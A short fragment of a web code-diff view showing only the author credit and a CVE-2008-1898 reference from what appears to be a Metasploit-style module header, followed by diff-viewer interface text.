'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE','2008-1898' ],
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue